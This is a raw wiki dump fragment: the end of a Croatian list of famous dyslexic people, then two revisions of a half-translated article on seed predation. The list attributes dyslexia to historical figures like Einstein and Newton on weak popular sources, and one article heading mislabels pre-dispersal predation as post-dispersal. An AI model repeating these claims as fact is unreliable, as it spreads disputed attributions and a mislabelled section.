128-139, rujan 2007</ref> * Timothy Clifford, britanski [[Povijest umjetnosti|povjesničar umjetnosti]]<ref>Miller, Phil, Clifford tells of his dyslexia struggle, The Herald, 8. listopada 2005., str. 1</ref> * Jack Horner, [[Paleontologija|paleontolog]]<ref>TED, [http://www.ted.com/talks/jack_horner_building_a_dinosaur_from_a_chicken.html Jack Horner building a dinosaur from a chicken] {{Webarchive|url=https://web.archive.org/web/20140217140659/http://www.ted.com/talks/jack_horner_building_a_dinosaur_from_a_chicken.html |date=2014-02-17 }}</ref> * Anderson Cooper, američki novinar<ref>Oprah.com, [http://www.oprah.com/article/omagazine/books/obc_omag_200507_books Books That Made a Difference to Anderson Cooper] {{Webarchive|url=https://web.archive.org/web/20091022132656/http://www.oprah.com/article/omagazine/books/obc_omag_200507_books |date=2009-10-22 }}</ref> * Ennis Cosby, sin komičara [[Bill Cosby|Billa Cosbyja]]<ref>Philadelphia Daily News, 'He Was My Hero': Cosby's Son Slain, 17. siječnja 1997., str. 3</ref> * Alexander Faludy, najmlađi student na [[Sveučilište Cambridge|Cambridgeu]] u 200 godina<ref>d'Ancona, Matthew, [http://www.telegraph.co.uk/htmlContent.jhtml?html=/archive/1998/09/29/nspel29.html Dyslexic boy, 15, makes early start at Cambridge] {{Webarchive|url=https://web.archive.org/web/20050422093958/http://www.telegraph.co.uk/htmlContent.jhtml?html=%2Farchive%2F1998%2F09%2F29%2Fnspel29.html |date=2005-04-22 }}, Daily Telegraph, 29. rujna 1998.</ref> * Jerry Hall, američki [[Maneken|model]]<ref>Simpson, Richard, [http://www.dailymail.co.uk/tvshowbiz/article-445006/Im-dyslexic-Jagger-children.html I'm dyslexic and so are my four Jagger children], Daily Mail, 28. ožujka 2007.</ref> * Jodie Kidd, engleski supermodel<ref>Gill, C., [http://www.dailymail.co.uk/news/article-198603/Dyslexia-route-riches.html Dyslexia 'can be route to riches'], Daily Mail</ref> * Dean Kamen, [[izumitelj]]<ref>Dyslexic Advantage, [http://www.dyslexicadvantage.com/dyslexia-creativity-engineering-and-invention.html Dyslexic Inventors: Dean Kamen]</ref> * Tom Pellereau, izumitelj<ref>RTÉ Ten, [https://archive.today/20120908075456/www.rte.ie/ten/2011/0718/apprentice2.html Apprentice winner speaks about dyslexia], 18. srpnja 2010</ref> * [[Thomas Alva Edison]], američki izumitelj<ref name="ReferenceA"/> * [[Eli Whitney]], američki izumitelj<ref>Gaines, A., Eli Whitney (Discover the Life of an Inventor), Rourke Publishing, 2001.</ref> * [[Braća Wright|Orville i Wilbur Wright]], izumitelji<ref>Kelly, F., The Wright Brothers: A Biography, Courier Dover Publications, 1989.</ref> * [[Alexander Graham Bell]], izumitelj<ref>Disabled World, [http://www.disabled-world.com/artman/publish/article_2130.shtml Famous People who are Dyslexic or had Dyslexia], 17. siječnja 2008.</ref> * William Lear, izumitelj i poslovni čovjek<ref>Harrison, R., Leitch, C., Entrepreneurial Learning: Conceptual Frameworks and Applications, Routledge, 2008., {{ISBN|0-415-39416-3}}</ref> * John Von Neumann, mađarsko-američki matematičar<ref>Hally, M., Electronic Brains: Stories from the Dawn of the Computer Age, National Academies Press, 2005.</ref> * [[Isaac Newton]], znanstvenik i matematičar<ref>Houff, S., The Classroom Facilitator: Special Issue Questions, R&L Education, 2010.</ref> * David Boies, američki odvjetnik<ref>The Dyslexic Reader, Famous Dyslexics Remember, 2006, br. 43, str. 18</ref> * Roger Wilkins, američki borac za ljudska prava, profesor povijesti, novinar<ref name="ReferenceB">The Dyslexic Reader, Famous Dyslexics Remember, 2005, br. 39, str. 17</ref> * Paul MacCready, američki inženjer<ref name="ReferenceB"/> * John Britten, inženjer<ref>[http://www.nzedge.com/heroes/britten.html John Britten] {{Webarchive|url=https://web.archive.org/web/20070626075421/http://www.nzedge.com/heroes/britten.html |date=2007-06-26 }}, The New Zealand Edge</ref> * [[Wernher von Braun]], inženjer<ref>Weyer, J., Wernher von Braun, Rowohlt Taschenbuch Verlag, 1999.</ref> * David Koresh, vođa [[Sekta|sekte]] "Davidova grana"<ref>BBC News, [http://news.bbc.co.uk/2/hi/americas/431311.stm Koresh and the Waco siege], 27. kolovoza 1999.</ref> * Ann Bancroft, arktička istraživačica<ref>[http://dyslexia.yale.edu/bancroft.html Ann Bancroft: Explorer and Teacher], The Yale Center for Dyslexia & Creativity</ref> * Richard Rogers, arhitekt<ref>The Observer, [http://www.guardian.co.uk/artanddesign/2006/feb/12/architecture.communities Interview Richard Rogers, Building civilisation], 12. veljače 2006.</ref><ref>[http://dyslexia.yale.edu/rogers.html Richard Rogers: Architect], The Yale Center for Dyslexia & Creativity</ref> * [[Jørn Utzon]], [[Danska|danski]] arhitekt<ref>Living Architecture, Interview with J. Utzon, 1996, br. 14</ref> * [[Charles Rennie Mackintosh]], škotski arhitekt, dizajner, grafičar i slikar<ref>Undiscovered Scotland: The Ultimate Online Guide, [http://www.undiscoveredscotland.co.uk/usbiography/mac/charlesrenniemackintosh.html Charles Rennie Mackintosh]</ref> * John Skoyles, znanstvenik<ref>[http://www.happydyslexic.com/node/15 Famous people with dyslexia: Inventors & scientists]</ref> * [[Michael Faraday]], znanstvenik<ref>Bingham, Derick, Michael Faraday: Spiritual Dynamo, Trail Blazers Series, 2006</ref> * James Lovelock, znanstvenik<ref>Goodel, Jeff, James Lovelock... The Prophet of Climate Change, Rolling Stone, 1. studenog 2007.</ref> * Simon Clemmet, znanstvenik<ref>Vitae, [http://www.vitae.ac.uk/policy-practice/183591/The-value-of-disability.html The value of disability] {{Webarchive|url=https://web.archive.org/web/20130501192651/http://www.vitae.ac.uk/policy-practice/183591/The-value-of-disability.html |date=2013-05-01 }}</ref> * [[Pierre Curie]], [[Francuska|francuski]] kemičar i fizičar<ref name="The Dyslexic Reader 2008"/> * Archer Martin, kemičar<ref>[http://www.nytimes.com/2002/08/06/world/archer-martin-nobel-laureate-in-chemistry-dies-at-92.html Archer Martin, Nobel Laureate in Chemistry, Dies at 92], O'Connor, A., The New York Times, 6. kolovoza 2006.</ref> * [[Carol W. Greider]], [[Molekularna biologija|molekularna biologinja]]<ref name="The Dyslexic Reader 2010"/> * Maggie Aderin-Pocock, engleska znanstvenica<ref>Connor, Steve, [http://www.independent.co.uk/news/science/maggie-aderinpocock-a-woman-on-a-mission-proving-science-isnt-just-for-rich-white-men-7584939.html?origin=internalSearch Maggie Aderin-Pocock: A woman on a mission, proving science isn't just for rich, white men], The Independent, 26. ožujka 2012.</ref> * [[Albert Einstein]], teorijski fizičar<ref>Reid, Struan, Albert Einstein, Heinemann Library, 2002, {{ISBN|978-1-58810-988-0}}</ref> * [[Charles Darwin]], engleski znanstvenik i prirodoslovac<ref>Twist, Clint, Charles Darwin, On the Trail of Evolution, Heinemann Library, 1994, {{ISBN|978-0-8114-7256-2}}</ref> * Tommy Hilfiger, modni dizajner<ref name="The dyslexia factor"/> * Mark Wilkinson, dizajner [[namještaj]]a<ref>Wiltshire Times, [http://www.wiltshiretimes.co.uk/news/latestheadlines/4826852.Royal_reward_for_Wiltshire_s_unsung_heroes/ Royal reward for Wiltshire's unsung heroes], 31. prosinca 2009.</ref> * Terence Woodgate, dizajner namještaja<ref>Jackson, L., [http://www.iconeye.com/read-previous-issues/icon-013-|-june-2004/dyslexia-|-icon-013-|-june-2004 Dyslexia], lipanj 2004.</ref> * Christopher Lowell, američki dizajner interijera<ref>Streisand, Betsy, [http://www.usnews.com/usnews/biztech/articles/060605/5lowell_2.htm The Doctor of Design], U.S. News, 28. lipnja 2005.</ref> * Julia Walker, hollywoodska stilistica<ref>Coull, L., Eaton, H., Werb, J., Stories of Hope, Eaton Coull Learning Group, 2003.</ref> * Erin Pizzey, britanska aktivistica i spisateljica<ref>The Independent on Sunday, Women who changed the world: 'There's always room for one more woman..., 14. ožujka 2010.</ref> * Sophy Fisher, novinarka<ref>The Independent, [http://www.independent.co.uk/life-style/learning-to-spell-success-1351036.html Learning to spell success], 7. studenog 1996.</ref> * Bob Turney, socijalni radnik, pisac<ref>Bobturney.com, [http://www.bobturney.com/ Službena stranica] {{Webarchive|url=https://web.archive.org/web/20130215115547/http://www.bobturney.com/ |date=2013-02-15 }}</ref> * Dominic O’Brien, svjetski prvak u pamćenju<ref>Happy Child, [http://www.happychild.org.uk/acc/tpr/features/0205domo.htm An Interview with Dominic O'Brien]</ref> * Eric Shipton, britanski alpinist i istraživač<ref>Steele, P., Eric Shipton: Everest and Beyond, Constable, 1998, str. 290</ref> * Matthew Sturgis, novinar<ref>Sturgis, M., The Hidden Word, New Straits Times, 15. lipnja 1997.</ref> * Zelda West-Meads, bračna savjetnica<ref>Lambert, A., [http://www.independent.co.uk/life-style/twenty-years-on-still-married-to-counselling-zelda-westmeads-of-relate-is-practically-a-household-name-she-talked-to-angela-lambert-about-living-together-and-staying-together-in-the-nineties-1534533.html Twenty years on, still married to counselling], The Independent, 21. srpnja 1992.</ref> * [[Charles Lindbergh]], američki zrakoplovac<ref>Berg, S., Lindbergh, Berkley Trade, 1999.</ref> * Carrick Forbes, bivša ovisnica<ref>Dyslexia.tv, [http://www.dyslexia.tv/snapshots/carrick_forbes.htm Carrick Forbes] {{Webarchive|url=https://web.archive.org/web/20120901150913/http://www.dyslexia.tv/snapshots/carrick_forbes.htm |date=2012-09-01 }}</ref> * Stacy Poulos, fotografkinja, spisateljica, filozofkinja, filantropkinja<ref>Dyslexia.tv, [http://www.dyslexia.tv/pages/about_the_auther.htm Stacy Poulos / Photographer / Writer / Filmmaker / Philosopher / Philanthropist] {{Webarchive|url=https://web.archive.org/web/20130213050933/http://dyslexia.tv/pages/about_the_auther.htm |date=2013-02-13 }}</ref> * Frank Dunkle, direktor američkog Državnog zavoda za zaštitu prirode<ref name="Your Life 1997"/><ref>Bright Solutions for Dyslexia, [http://www.dys-add.com/dyslexia.html Dyslexia]</ref> * Jill Pages, trapezistica<ref>Lauren, J., That's Like Me!, Star Bright Books, 2009.</ref> * [[Joseph Smith]], autor [[Mormonova knjiga|Mormonove knjige]]<ref>Famous Dyslexic People, [http://www.famousdyslexicpeople.com/446/joseph-smith/ Joseph Smith] {{Webarchive|url=https://web.archive.org/web/20130120131227/http://www.famousdyslexicpeople.com/446/joseph-smith/ |date=2013-01-20 }}, 27. prosinca 2011.</ref> * [[Paul Ehrlich]], ekolog<ref>Famous Dyslexic People, [http://www.famousdyslexicpeople.com/413/paul-ehrlich/ Paul Ehrlich] {{Webarchive|url=https://web.archive.org/web/20120510095034/http://www.famousdyslexicpeople.com/413/paul-ehrlich/ |date=2012-05-10 }}, preuzeto 13. ožujka 2013.</ref> == Napomene == {{izvori|3}} == Vanjske veze == * dyslexia.com - [http://www.dyslexia.com/qafame.htm Famous People with the Gift of Dyslexia] * dyslexia.tv - [http://www.dyslexia.tv/snapshots/index.htm Blessed with dyslexia] {{Webarchive|url=https://web.archive.org/web/20150522072756/http://www.dyslexia.tv/snapshots/index.htm |date=2015-05-22 }} * dyslexiaonline.com - [http://www.dyslexiaonline.com/famous/famous.htm Dyslexic? You're not alone...] * dyslexiamentor.com - [http://www.dyslexiamentor.com/famousdyslexics.php Famous dyslexics] {{Webarchive|url=https://web.archive.org/web/20080921191236/http://www.dyslexiamentor.com/famousdyslexics.php |date=2008-09-21 }} * dyslexicadvantage.com- [http://www.dyslexicadvantage.com Famous people with dyslexia] * dhea.org.uk - [http://dhea.org.uk/dyslexia/famous_dyslexics-0.html Famous dyslexics] * bdadyslexia.org.uk - [http://www.bdadyslexia.org.uk/about-dyslexia/famous-dyslexics.html Famous dyslexics] {{Webarchive|url=https://web.archive.org/web/20140714004805/http://www.bdadyslexia.org.uk/about-dyslexia/famous-dyslexics.html |date=2014-07-14 }} [[Kategorija:Liste osoba]] [[Kategorija:Psihijatrija]] [[Kategorija:Psihologija]] dof84lj5qhbgyjs2zvjpo3yfea6r9ws 2 232970 42602686 42601880 2026-05-28T07:25:24Z Duma 16555 /* Prije i poslije širenja */ 42602686 wikitext text/x-wiki {{Confused|[[graminivori]]ma}} [[Image:Aardbei muizenschade.jpg |thumb |[[Jagoda]] koju je oštetio [[miš]], koji je pojeo male sjemenke ([[orašica|ahenije]]) na njenoj površini]] '''Seed predation''', often also called '''granivory''', is a type of plant-animal interaction in which animals feed mainly on the [[seeds]] of [[plants]]. Granivores are found across many families of [[vertebrates]], especially [[mammals]] and [[birds]], as well as in many groups of [[insects]].<ref name="Hulme Benkman 2002"/><ref>{{cite journal |last1=Janzen |first1=D. H. |title=Seed Predation by Animals |journal=Annual Review of Ecology and Systematics |volume=2 |pages=465–492 |year=1971 |doi=10.1146/annurev.es.02.110171.002341}}</ref> Seed predation is commonly divided into pre-dispersal and post-dispersal predation, which affect the fitness of the parental plant and the dispersed offspring (the seed), respectively. The two types of predation may be mitigated by different strategies. To counter seed predation, plants have evolved both physical (e.g., shape and toughness of the seed coat) and chemical defenses (such as [[tannins]] and [[alkaloids]]). As plants have evolved seed defenses, seed predators have adapted in response (e.g., becoming able to detoxify chemical compounds). Thus, many examples of [[coevolution]] arise from this dynamic relationship. == Sjemenke i njihova odbrana == {{further|Zaštita biljaka od biljojeda|Adaptacija protiv predatora}} [[File:Mouse eating seeds.jpg|thumb|[[Miš]] se hrani sjemenjem]] Plant seeds are important sources of nutrition for animals across most ecosystems. Seeds contain food storage organs (e.g., [[endosperm]]) that provide nutrients to the developing plant embryo ([[cotyledon]]). This makes seeds an attractive food source for animals because they are a highly concentrated and localized nutrient source in relation to other plant parts. Seeds of many plants have evolved a variety of [[anti-predator adaptation |defenses to deter predation]]. Seeds are often contained inside protective structures or fruit pulp that encapsulate seeds until they are ripe. Other physical defenses include spines, hairs, fibrous seed coats and hard endosperm. Seeds, especially in arid areas, may have a [[mucilage |mucilaginous]] seed coat that can glue soil to seed hiding it from granivores.<ref name="Tiansawat Davis Berhow Zalamea p=e99691">{{cite journal |last1=Tiansawat |first1=Pimonrat |last2=Davis |first2=Adam S. |last3=Berhow |first3=Mark A. |last4=Zalamea |first4=Paul-Camilo |last5=Dalling |first5=James W. |editor-last=Chen |editor-first=Jin |title=Investment in Seed Physical Defence Is Associated with Species' Light Requirement for Regeneration and Seed Persistence: Evidence from Macaranga Species in Borneo |journal=PLOS ONE |volume=9 |issue=6 |date=2014-06-13 |issn=1932-6203 |doi=10.1371/journal.pone.0099691 |pmid=24927025 |pmc=4057182 |article-number=e99691 |bibcode=2014PLoSO...999691T |doi-access=free }}</ref> Some seeds have evolved strong anti-herbivore chemical compounds. In contrast to physical defenses, chemical seed defenses deter consumption using chemicals that are toxic or distasteful to granivores or that inhibit the digestibility of the seed. These chemicals include toxic non-protein [[amino acid]]s, [[cyanogenic glycoside]]s, [[protease inhibitor (biology) |protease]] and amylase inhibitors, and [[hemaglutinin |phytohemagglutinins]].<ref name="Hulme Benkman 2002">{{cite book |last1=Hulme |first1=P. E. |last2=Benkman |first2=C. W. |editor-last1=Herrera |editor-first1=Carlos M. |editor-last2=Pellmyr |editor-first2=Olle |title=Plant Animal Interactions |publisher=Wiley-Blackwell |publication-place=Hoboken |year=2002 |isbn=978-0-632-05267-7 |pages=132–154}}</ref> Plants may face trade-offs between allocation toward defenses and the size and number of seeds produced. Plants may reduce the severity of seed predation by making seeds spatially or temporally scarce to granivores. Seed dispersal away from the parent plant is hypothesized to reduce the severity of seed predation.<ref name=jansen/><ref name=connell/> Seed masting is an example of how plant populations are able to temporally regulate the severity of seed predation. Masting refers to a concerted abundance of seed production followed by a period of paucity. This strategy can regulate the size of the population of seed predators. == Predacija sjemena u odnosu na širenje sjemena == Adaptacije za odbranu sjemena od predacije mogu utjecati na sposobnost sjemena da klija i da se širi. Stoga se adaptacije protiv predacije često javljaju u nizu adaptacija za određeni životni ciklus sjemena. Na primjer, [[Capsicum|biljke čilija]] selektivno odvraćaju sisare, predatore sjemena i gljive, koristeći [[kapsaicin]], što ne odvraća ptice koje šire sjeme<ref>{{Cite journal |last1=Gary P. Nabhan |last2=Tewksbury |first2=Joshua J. |date=July 2001 |title=Seed dispersal: Directed deterrence by capsaicin in chillies |journal=Nature |volume=412 |issue=6845 |pages=403–404 |doi=10.1038/35086653 |issn=1476-4687 |pmid=11473305 |s2cid=4389051}}</ref><ref>{{Cite news |url=https://www.telegraph.co.uk/news/worldnews/northamerica/usa/1335366/Why-birds-find-chilli-peppers-so-cool.html |title=Why birds find chilli peppers so cool |newspaper=Daily Telegraph |last=Derbyshire |first=David |date=2001-07-25 |access-date=2019-03-14}}</ref> jer se receptori okusa ptica ne vežu za kapsaicin. Sjemenke čilija zauzvrat imaju veće stope preživljavanja ako prođu kroz ptičji želudac nego ako padnu na zemlju.<ref>{{Cite web |url=https://www.insidescience.org/news/bird-gut-boosts-wild-chili-seed-survival |title=Bird Gut Boosts Wild Chili Seed Survival |date=2013-07-15 |website=Inside Science |access-date=2019-03-14}}</ref> == Prije i poslije širenja == Predacija sjemena može se dogoditi i prije i nakon širenja sjemena.<ref name=FedrianiManzoneda2005>{{cite journal |last1=Fedriani |first1=J. M. |last2=Manzoneda |first2=A. |title=Pre- and post-dispersal seed predation by rodents: balance of food and safety |journal=Behavioral Ecology |year=2005 |volume=16 |issue=6 |page=1018 |doi=10.1093/beheco/ari082 |doi-access=free |hdl=10261/54608 |hdl-access=free }}</ref> === Poslije širenja === Predacija sjemena prije njegovog širenja odvija se kada se sjeme ukloni s matične biljke prije širenja, a to je najčešće zabilježeno kod beskičmenjaka, ptica i glodara koji se hrane zrnima i direktno skidaju plodove s drveća i zeljastih biljaka. Do predacije sjemena nakon širenja dolazi nakon što se ono oslobodi sa matične biljke, pri čemu su ptice, glodari i mravi među najčešćim konzumentima. Nadalje, takva predacija može se odvijati u dvije kontrastne faze: predacija na "kiši sjemena" i predacija na "banci sjemena". Dok se do predacije na kiši sjemena dolazi kada se životinje hrane oslobođenim sjemenkama, koje su obično u ravni s površinom tla, predacija na banci sjemena događa se nakon što sjeme duboko uraste u tlo.<ref name="Hulme Benkman 2002"/> === Nakon širenja === Post-dispersal seed predation is extremely common in virtually all ecosystems. Given the heterogeneity in both resource type (seeds from different species), quality (seeds of different ages and/or different status of integrity or decomposition) and location (seeds are scattered and hidden in the environment), most post-dispersal predators have generalist habits. These predators belong to a diverse array of animals, such as ants, beetles, crabs, fish, rodents and birds. The assemblage of post-dispersal seed predators varies considerably among ecosystems.<ref name="Hulme Benkman 2002"/> === Razlike === Both pre- and post-dispersal seed predation are common. Pre-dispersal predators differ from post-dispersal predators in most often being specialists, adapted to clustered resources (on the plant). They use specific cues like plant chemistry (volatile compounds), color, and size to locate seeds, and their short life cycles often match the production of seeds by the host plant. Insect groups containing many pre-dispersal seed predators are [[Coleoptera]], [[Hemiptera]], [[Hymenoptera]] and [[Lepidoptera]].<ref name="Hulme Benkman 2002"/> == Utjecaji na demografiju biljaka == {{further|Janzen-Connellova hipoteza}} The [[Janzen-Connell hypothesis |Janzen-Connell model]] concerns how seed density and survival respond to distance from the parent tree and differential rates of seed predation. Seed density often decreases as distance from the parent tree increases. Where seeds are most abundant under the parent tree, seed predation is predicted to be at its highest. As distance from the parent tree increases, seed abundance and thus seed predation are predicted to decrease as seed survival increases.<ref name=jansen>{{cite journal |author=Janzen, D. H. |year=1970 |title= Herbivores and the number of tree species in tropical foresets |journal=The American Naturalist |volume=104 |issue=940 |pages=592–595 |url=http://labs.bio.unc.edu/Peet/courses/Classics-2003/ReadingsPDFs/9_Nov6_Dispersal/PDFs/Janzen%201970.pdf |doi=10.1086/282687 |s2cid=84490190 }}</ref><ref name=connell>Connell, J.H. (1971) "On the role of natural enemies in preventing competitive excusion in some marine animals and in rainforest trees", pp. 298–312 in ''Dynamics of Populations'', ed. P.J. den Boer and G.R. Gradwell. Wageningen: Center for Agricultural Publishing and Documentation.</ref> Seed predation is sometimes powerful enough to limit seedling recruitment and hence the tree population (described as 'seed limited'). In dune habitats seed predators, deer mice, can limit seedling recruitment, but in grassland habitat they had little effect as the plant population was limited instead by the availability of safe sites ('safe site limited').<ref>{{cite journal |doi=10.1007/s004420050210 |pmid=28307508 |title=Effect of seed predation on seed bank size and seedling recruitment of bush lupine (''Lupinus arboreus'') |journal=Oecologia |volume=111 |issue=1 |pages=76–83 |year=1997 |last1=Maron |first1=John L. |last2=Simms |first2=Ellen L. |bibcode=1997Oecol.111...76M |s2cid=12464482 }}</ref> Seed predators sometimes support plant populations by dispersing seeds away from the parent plant, in effect supporting gene flow between populations. Other seed predators collect seeds and then cache them for later consumption. The hidden seed may be forgotten and then germinate and grow, supporting dispersal.<ref>Harper, J. L. (1977) ''Population Biology of Plants'', New York: Academic Press.</ref><ref name="VisserMuller-Landau2011">{{cite journal |last1=Visser |first1=Marco D. |last2=Muller-Landau |first2=Helene C. |last3=Wright |first3=S. Joseph |last4=Rutten |first4=Gemma |last5=Jansen |first5=Patrick A. |title=Tri-trophic interactions affect density dependence of seed fate in a tropical forest palm |journal=Ecology Letters |volume=14 |issue=11 |year=2011 |pages=1093–1100 |issn=1461-023X |doi=10.1111/j.1461-0248.2011.01677.x |pmid=21899693 |bibcode=2011EcolL..14.1093V }}</ref> == Povezano == * [[Interakcije potrošača i resursa]] * [[Predacija jaja]] * [[Mrav sakupljač]] * [[Biljojed]] * [[Širenje sjemena]] == Reference == {{reflist |30em}} == Daljnje čitanje == {{refbegin}} * {{cite journal |last1=Alexander |first1=H.M. |last2=Cummings |first2=C.L. |last3=Kahn |first3=L. |last4=Snow |first4=A.A. |year=2001 |title=Seed size variation and predation of seeds produced by wild and crop–wild sunflowers |journal=American Journal of Botany |volume=88 |issue=4 |pages=623–627 |doi=10.2307/2657061 |jstor=2657061 |pmid=11302847 |s2cid=25202784 |ref=none}} * {{cite journal |last1=Andersen |first1=A.N. |year=1989 |title=How Important Is Seed Predation to Recruitment in Stable Populations of Long-Lived Perennials? |journal=Oecologia |volume=81 |issue=3 |pages=310–315 |doi=10.1007/bf00377076 |pmid=28311181 |bibcode=1989Oecol..81..310A |s2cid=38556236 |ref=none}} * {{cite journal |last1=Berenbaum |first1=M.R |last2=Zangerl |first2=AR. |year=1998 |title=Chemical phenotype matching between a plant and its insect herbivore |journal= Proceedings of the National Academy of Sciences |volume=95 |issue=23 |pages=13743–13784 |doi=10.1073/pnas.95.23.13743 |pmid=9811871 |pmc=24890 |bibcode=1998PNAS...9513743B |doi-access=free |ref=none}} * {{cite journal |last1=Brown |first1=J.H. |last2=Heske |first2=E.J. |year=1990 |title=Control of a desert-grassland transition by a keystone rodent guild |journal=Science |volume=250 |issue=4988 |pages=1705–1707 |doi=10.1126/science.250.4988.1705 |bibcode=1990Sci...250.1705B |pmid=17734708 |s2cid=33357407 |ref=none}} * {{cite journal |last1=Brown |first1=J.H. |last2=Reichman |first2=O.J. |last3=Davidson |first3=D.W. |year=1979 |title=Granivory in desert ecosystems |journal=Annual Review of Ecology and Systematics |volume=10 |pages=201–227 |doi=10.1146/annurev.es.10.110179.001221|ref=none}} * {{cite journal |last1=Davidson |first1=D.W. |year=1993 |title=The Effects of Herbivory and Granivory on Terrestrial Plant Succession |journal=Oikos |volume=68 |issue=1 |pages=23–35 |doi=10.2307/3545305 |jstor=3545305 |bibcode=1993Oikos..68...23D |ref=none}} * {{cite journal |last1=Davidson |first1=D.W. |last2=Brown |first2=J.H. |last3=Inouye |first3=R.S. |year=1980 |title=Competition and the Structure of Granivore Communities |journal=BioScience |volume=30 |issue=4 |pages=233–238 |doi=10.2307/1307877 |jstor=1307877 |s2cid=53579517 |ref=none}} * {{cite journal |last1=Diaz |first1=M. |last2=Telleria |first2=J.L. |year=1996 |title=Granivorous Birds in a Stable and Isolated Open Habitat within the Amazonian Rainforest |journal=Journal of Tropical Ecology |volume=12 |issue=3 |pages=419–425 |doi=10.1017/s0266467400009615 |s2cid=85301240 |ref=none}} * {{cite journal |last1=Figueroa |first1=J.A. |last2=Muñoz |first2=A.A. |last3=Mella |first3=J.E. |last4=Arroyo |first4=M.T. K. |year=2002 |title=Pre- and post-dispersal seed predation in a Mediterranean-type climate montane sclerophyllous forest in central Chile |journal=Australian Journal of Botany |volume=50 |issue=2 |pages=183–195 |doi=10.1071/bt01003|ref=none}} * {{cite journal |last1=Lundgren |first1=J |last2=Rosentrater |first2=K |year=2007 |title=The strength of seeds and their destruction by granivorous insects |journal=Arthropod-Plant Interactions |volume=1 |issue=2 |pages=93–99 |doi=10.1007/s11829-007-9008-1 |bibcode=2007APInt...1...93L |s2cid=6410974 |ref=none}} * {{cite journal |last1=Mares |first1=M.A. |last2=Rosenzweig |first2=M.L. |year=1978 |title=Granivory in North and South American Deserts: Rodents, Birds, and Ants |journal=Ecology |volume=59 |issue=2 |pages=235–241 |doi=10.2307/1936368 |jstor=1936368 |bibcode=1978Ecol...59..235M |ref=none}} * {{cite journal |last1=Oliveras |first1=J. |last2=Gomez |first2=C. |last3=Bas |first3=M. |last4=Espadaler |first4=X. |year=2008 |title=Mechanical Defence in Seeds to Avoid Predation by a Granivorous Ant |journal=Naturwissenschaften |volume=95 |issue=6 |pages=501–506 |doi=10.1007/s00114-008-0349-0 |pmid=18288470 |bibcode=2008NW.....95..501O |s2cid=676214 |ref=none}} * {{cite journal |last1=Sallabanks |first1=R. |last2=Courtney |first2=S.P. |year=1992 |title=Frugivory, Seed Predation and Insect- Vertebrate Interactions |journal=Annual Review of Entomology |volume=37 |pages=337–400 |doi=10.1146/annurev.en.37.010192.002113 |pmid=1539939 |ref=none}} * {{cite journal |last1=Smith |first1=CC |year=1970 |title=The coevolution of pine squirrels (Tamiasciurus) and conifers |journal=Ecological Monographs |volume=40 |issue=3 |pages=349–371 |doi=10.2307/1942287 |jstor=1942287 |bibcode=1970EcoM...40..349S |ref=none}} * {{cite journal |last1=Vander Wall |first1=S.B. |last2=Kuhn |first2=K.M. |last3=Beck |first3=M.J. |year=2005 |title=Seed Removal, Seed Predation, and Secondary Dispersal |journal=Ecology |volume=86 |issue=3 |pages=801–806 |doi=10.1890/04-0847 |bibcode=2005Ecol...86..801V |ref=none}} {{refend}} {{načini ishrane}} 7376b7yrdb3b42nfdf17ij5s94jfwpr 42602688 42602686 2026-05-28T07:34:30Z Duma 16555 /* Nakon širenja */ 42602688 wikitext text/x-wiki {{Confused|[[graminivori]]ma}} [[Image:Aardbei muizenschade.jpg |thumb |[[Jagoda]] koju je oštetio [[miš]], koji je pojeo male sjemenke ([[orašica|ahenije]]) na njenoj površini]] '''Seed predation''', often also called '''granivory''', is a type of plant-animal interaction in which animals feed mainly on the [[seeds]] of [[plants]]. Granivores are found across many families of [[vertebrates]], especially [[mammals]] and [[birds]], as well as in many groups of [[insects]].<ref name="Hulme Benkman 2002"/><ref>{{cite journal |last1=Janzen |first1=D. H. |title=Seed Predation by Animals |journal=Annual Review of Ecology and Systematics |volume=2 |pages=465–492 |year=1971 |doi=10.1146/annurev.es.02.110171.002341}}</ref> Seed predation is commonly divided into pre-dispersal and post-dispersal predation, which affect the fitness of the parental plant and the dispersed offspring (the seed), respectively. The two types of predation may be mitigated by different strategies. To counter seed predation, plants have evolved both physical (e.g., shape and toughness of the seed coat) and chemical defenses (such as [[tannins]] and [[alkaloids]]). As plants have evolved seed defenses, seed predators have adapted in response (e.g., becoming able to detoxify chemical compounds). Thus, many examples of [[coevolution]] arise from this dynamic relationship. == Sjemenke i njihova odbrana == {{further|Zaštita biljaka od biljojeda|Adaptacija protiv predatora}} [[File:Mouse eating seeds.jpg|thumb|[[Miš]] se hrani sjemenjem]] Plant seeds are important sources of nutrition for animals across most ecosystems. Seeds contain food storage organs (e.g., [[endosperm]]) that provide nutrients to the developing plant embryo ([[cotyledon]]). This makes seeds an attractive food source for animals because they are a highly concentrated and localized nutrient source in relation to other plant parts. Seeds of many plants have evolved a variety of [[anti-predator adaptation |defenses to deter predation]]. Seeds are often contained inside protective structures or fruit pulp that encapsulate seeds until they are ripe. Other physical defenses include spines, hairs, fibrous seed coats and hard endosperm. Seeds, especially in arid areas, may have a [[mucilage |mucilaginous]] seed coat that can glue soil to seed hiding it from granivores.<ref name="Tiansawat Davis Berhow Zalamea p=e99691">{{cite journal |last1=Tiansawat |first1=Pimonrat |last2=Davis |first2=Adam S. |last3=Berhow |first3=Mark A. |last4=Zalamea |first4=Paul-Camilo |last5=Dalling |first5=James W. |editor-last=Chen |editor-first=Jin |title=Investment in Seed Physical Defence Is Associated with Species' Light Requirement for Regeneration and Seed Persistence: Evidence from Macaranga Species in Borneo |journal=PLOS ONE |volume=9 |issue=6 |date=2014-06-13 |issn=1932-6203 |doi=10.1371/journal.pone.0099691 |pmid=24927025 |pmc=4057182 |article-number=e99691 |bibcode=2014PLoSO...999691T |doi-access=free }}</ref> Some seeds have evolved strong anti-herbivore chemical compounds. In contrast to physical defenses, chemical seed defenses deter consumption using chemicals that are toxic or distasteful to granivores or that inhibit the digestibility of the seed. These chemicals include toxic non-protein [[amino acid]]s, [[cyanogenic glycoside]]s, [[protease inhibitor (biology) |protease]] and amylase inhibitors, and [[hemaglutinin |phytohemagglutinins]].<ref name="Hulme Benkman 2002">{{cite book |last1=Hulme |first1=P. E. |last2=Benkman |first2=C. W. |editor-last1=Herrera |editor-first1=Carlos M. |editor-last2=Pellmyr |editor-first2=Olle |title=Plant Animal Interactions |publisher=Wiley-Blackwell |publication-place=Hoboken |year=2002 |isbn=978-0-632-05267-7 |pages=132–154}}</ref> Plants may face trade-offs between allocation toward defenses and the size and number of seeds produced. Plants may reduce the severity of seed predation by making seeds spatially or temporally scarce to granivores. Seed dispersal away from the parent plant is hypothesized to reduce the severity of seed predation.<ref name=jansen/><ref name=connell/> Seed masting is an example of how plant populations are able to temporally regulate the severity of seed predation. Masting refers to a concerted abundance of seed production followed by a period of paucity. This strategy can regulate the size of the population of seed predators. == Predacija sjemena u 